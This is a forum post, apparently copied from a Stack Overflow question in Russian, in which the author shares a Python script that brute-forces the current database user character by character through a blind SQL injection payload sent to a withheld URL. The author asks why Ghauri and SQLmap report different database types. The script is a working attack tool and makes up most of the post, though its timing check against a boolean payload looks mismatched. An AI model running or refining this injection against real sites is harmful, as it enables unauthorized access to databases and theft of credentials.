Вот скрипт Python, который я использую:
Код: Выделить всё
import requests
base_url = "can't give you for security purpose"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
}
def check_character(position, ascii_value):
payload = f'" AND ASCII(SUBSTR((SELECT USER FROM DUAL),{position},1))={ascii_value}-- wXyW'
url = base_url + payload
response = requests.get(url, headers=headers)
return response.elapsed.total_seconds() > 1 # Adjust threshold as needed
def extract_user():
user = ""
for i in range(1, 21): # Adjust range based on expected user length
found_char = False
for ascii_value in range(32, 127): # ASCII printable characters
if check_character(i, ascii_value):
user += chr(ascii_value)
found_char = True
print(f"Found character: {chr(ascii_value)} at position {i}")
break
if not found_char:
user += '?'
print(f"No valid character found at position {i}, appending '?'")
return user
current_user = extract_user()
print(f"Current user: {current_user}")
Кроме того, Ghauri и SQLmap иногда сообщают о разных типах серверных СУБД (Oracle, MySQL и т. д.), и когда я тестирую полезную нагрузку непосредственно в браузере, похоже, это не вызывает никаких изменений.
Что может быть причиной таких противоречивых результатов и как я могу надежно извлечь текущего пользователя базы данных с помощью SQL-инъекции?
Буду очень признателен за любую помощь или идеи!>
Подробнее здесь: https://stackoverflow.com/questions/786 ... -and-tools